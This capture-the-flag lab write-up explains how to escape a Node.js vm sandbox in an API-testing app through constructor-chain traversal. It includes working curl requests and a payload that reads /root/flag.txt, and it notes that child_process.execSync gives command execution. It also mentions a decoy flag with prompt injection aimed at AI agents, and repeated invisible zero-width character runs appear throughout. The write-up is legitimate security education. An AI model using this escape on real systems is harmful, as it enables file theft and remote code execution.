← Back to Writeups
CUSTOMMediumWeb

Lab 129 — ReqForge — RCE via VM Sandbox Escape

XESXOR9/2/20265 min read
#web#custom#medium#constructor_chain_traversal#decoy_flag_identification#file_read_via_require_fs#prototype_chain_abuse#vm_sandbox_escape

Lab 129 — ReqForge — RCE via VM Sandbox Escape

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: constructor_chain_traversal, decoy_flag_identification, file_read_via_require_fs, prototype_chain_abuse, vm_sandbox_escape

Summary

Walkthrough of the CUSTOM Web Lab 129 — ReqForge — RCE via VM Sandbox Escape. Task: Express.js API testing platform executes user-supplied JavaScript in a Node.js vm sandbox for pre-request/post-response scripts. Solution: Escaped the vm sandbox via constructor chain traversal

Description

ReqForge is an API development and testing platform built by ForgeStack Inc. It allows developers to organize API endpoints into collections, send requests, and inspect responses. A key feature is the script editor, which lets users write pre-request and post-response scripts to automate workflows like setting headers, parsing responses, and chaining requests. The platform provides a sandboxed scripting environment with helper utilities for encoding, hashing, and data manipulation. Scripts execute in an isolated context with access to request and response objects. Your goal is to find and exploit a vulnerability in the scripting sandbox that allows you to escape the restricted environment and read a secret flag stored on the server. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js API testing platform with a workspace for building and sending HTTP requests. Users can write pre-request and post-response JavaScript scripts that execute server-side in a Node.js vm sandbox. The goal is to escape the sandbox and read the flag file from the server.

Analysis

Reconnaissance

  • Stack: Express.js + Node.js vm module + nginx
  • Credentials: user@test.com / password123
  • Key pages: Dashboard, Workspace, Collections, Scripts, Docs
  • Key endpoint: POST /api/execute — accepts JSON with method, url, headers, body, preScript, postScript
  • Frontend source (/js/workspace.js) reveals the API contract and script execution flow ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Application Features

The Workspace page provides:

  1. Request builder — method selector, URL input, headers, body
  2. Pre-request Script tab — JavaScript executed before the request is sent
  3. Post-response Script tab — JavaScript executed after the response is received
  4. Console output — displays console.log() output from scripts

Sandbox Environment

The Docs page documents the sandbox context:

  • console — logging (output returned in response logs array)
  • helpers — encoding/decoding/hashing utilities
  • setVar / getVar — variable storage between scripts
  • assert — assertion helpers
  • request / response — HTTP request/response objects
  • Scripts have a 5-second timeout limit ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Honeypot Detection

HTML comments contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection text designed to trick automated scanners and AI agents. This was identified and ignored.

Vulnerability Identification

Node.js vm module is not a security sandbox. From the official Node.js documentation:

"The vm module is not a security mechanism. Do not use it to run untrusted code."

The fundamental issue: objects created inside a vm sandbox inherit their prototype chain from the main (host) context. The this object inside the sandbox has a constructor property pointing to Object in the main context. Since Object is itself a function, its constructor is Function — which can create and execute arbitrary functions in the main context, completely bypassing the sandbox. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Constructor Chain Traversal

The escape chain works as follows:

this                          → sandbox context object
  .constructor                → Object (from main context)
    .constructor              → Function (from main context)
      ("return this.process") → creates function in main context
        ()                    → executes it, returns real process object

Once you have process, you have full access to Node.js:

  • process.mainModule.require("fs") — load any Node.js module
  • fs.readFileSync("/root/flag.txt") — read arbitrary files
  • process.mainModule.require("child_process").execSync("cmd") — execute system commands ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Authentication

Login to the application with the provided credentials:

bash
curl -s -c cookies.txt -X POST 'https://TARGET/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@test.com","password":"password123"}'

Step 2: VM Sandbox Escape

Send the sandbox escape payload as a pre-request script via the /api/execute endpoint:

bash
curl -s -b cookies.txt -X POST 'https://TARGET/api/execute' \
  -H 'Content-Type: application/json' \
  -d '{
    "method": "GET",
    "url": "http://localhost:8080/api/sample/status",
    "headers": {},
    "body": "",
    "preScript": "const process = this.constructor.constructor(\"return this.process\")();\nconst fs = process.mainModule.require(\"fs\");\nconst flag = fs.readFileSync(\"/root/flag.txt\", \"utf8\");\nconsole.log(\"FLAG: \" + flag);",
    "postScript": ""
  }'

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Payload Breakdown

javascript
// Step 1: Escape the vm sandbox via constructor chain
const process = this.constructor.constructor("return this.process")();

// Step 2: Load the filesystem module from the main context
const fs = process.mainModule.require("fs");

// Step 3: Read the flag file
const flag = fs.readFileSync("/root/flag.txt", "utf8");

// Step 4: Output via console (returned in response logs array)
console.log("FLAG: " + flag);

Why this works:

  1. this.constructor — in the sandbox, this is the sandbox context object. Its constructor is Object, which lives in the main V8 context (not the sandbox).
  2. .constructor — Object's constructor is Function, also in the main context.
  3. ("return this.process") — calling Function() as a constructor creates a new function. Crucially, this function's scope is the main context's global scope, not the sandbox.
  4. () — executing this function returns this.process from the main global scope — the real Node.js process object.
  5. process.mainModule.require("fs") — with the real process object, we can require() any module, completely outside the sandbox. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response

json
{
  "response": {
    "status": 200,
    "statusText": "OK",
    "headers": { "..." },
    "data": { "..." }
  },
  "logs": ["FLAG: FLAG{REDACTED}\n"],
  "variables": {}
}

The flag appears in the logs array, confirming successful sandbox escape and file read. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering constructor_chain_traversal, decoy_flag_identification, file_read_via_require_fs, prototype_chain_abuse, vm_sandbox_escape was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 129 — ReqForge — RCE via VM Sandbox Escape • Difficulty: Medium